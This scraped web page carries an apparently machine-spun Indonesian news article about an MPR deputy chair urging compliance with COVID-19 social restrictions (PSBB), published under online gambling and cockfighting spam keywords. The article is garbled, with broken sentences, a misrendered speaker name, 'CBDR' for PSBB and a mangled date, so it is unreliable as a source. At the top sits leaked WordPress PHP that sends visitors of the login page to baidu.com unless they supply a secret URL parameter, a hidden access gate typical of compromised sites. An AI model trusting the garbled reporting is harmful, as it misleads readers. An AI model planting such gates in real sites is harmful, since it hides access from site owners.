//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Perlunya koordinasi masyarakat dan pemerintah untuk mengurangi pandemi | s1288 net_sabung ayam online s128_sv388

TRIBUNNEWS.COM-Wakil Ketua Dewan Konsultasi Rakyat Indonesia meminta masyarakat untuk mematuhi kebijakan pembatasan sosial skala besar (PSBB) di daerah masing-masing untuk mematuhi disiplin. Penegasan pemerintah juga diperlukan untuk membuat rencana PSBB yang diimplementasikan berjalan sesuai rencana. “Contoh terakhir adalah implementasi PSBB di Jawa Timur, yang baru berjalan selama lima hari. Kami melihat kepatuhan terhadap peraturan PSBB di beberapa daerah masih sangat rendah,” kata Rerie, Minggu (3) / 5) Bahasa yang diucapkan disebut Rerie.

Ketika PSBB mulai berlaku di Jawa Timur, Rerie mengatakan itu adalah industri padat karya. Selalu ikuti rekomendasi dari departemen terkait. Sayangnya, Rerie menjelaskan bahwa kepatuhan terhadap perjanjian respons Covid-19 sangat rendah.

“Orang dengan status PDP terus bekerja di pabrik. Akibatnya, banyak karyawan perusahaan dinyatakan positif Covid-19 dan menutup pabrik beberapa hari setelah dua karyawannya meninggal karena Covid-19. NasDem Anggota partai juga datang ke perusahaan dengan industri serupa di Amerika Serikat.

“Tetapi perbedaannya adalah setelah dua karyawan terkena virus korona, pabrik ditutup sementara pada 20 Maret,” katanya. — Pada tahap pertama, PSBB DKI Jakarta juga memperhatikan bahwa pemerintah tidak konsisten dengan kasus serupa. Pada saat itu, gubernur DKI Jakarta melarang operasi beberapa perusahaan selama periode PSBB. — Dia mengatakan: “Namun, pemerintah pusat khawatir Departemen memberikan saran untuk tindakan.

Menurut kejadian itu, Ruili berharap semua pihak, termasuk pemerintah dan industri, Menurut peraturan PSBB, Rerie mengingatkan pemerintah untuk berhati-hati dan memperhatikan semua aspek yang perlu dipertimbangkan. Untuk beberapa alasan, beberapa pihak melakukan Anda ingin mengeluarkan pengecualian atau berencana untuk melonggarkan aturan PSBB tertentu. Silakan pertimbangkan dampak keseluruhannya, “tandas Rerie.

Menurut keinginan MPR Indonesia untuk menyerap Wakil Presiden Urusan Masyarakat dan Regional, proses penerapan tanggapan Covid -19 di negara ini membutuhkan waktu.

Rerie percaya bahwa implementasi CBDR yang lama juga dapat memengaruhi psikologi kelompok psikologis, jadi dia tidak mungkin mematuhi banyak langkah kesehatan untuk mengatasi epidemi Covid-19.

“Jika ada asosiasi yang disiplin, saya percaya epidemi Covid-19 akan segera berakhir. Sebaliknya, jika masyarakat dan pemerintah masih mencari alasan untuk melonggarkan peraturan PSBB, saya ragu apakah situasi ini akan berakhir,” katanya Mengatakan.

Menurut Rerie, komunitas masih harus mengikuti aturan. Dia menambahkan bahwa meskipun pemerintah daerah harus terus menyosialisasikan kebijakan dan menjatuhkan hukuman berat kepada mereka yang melanggar aturan PSBB.

Add Comment

Your email address will not be published. Required fields are marked *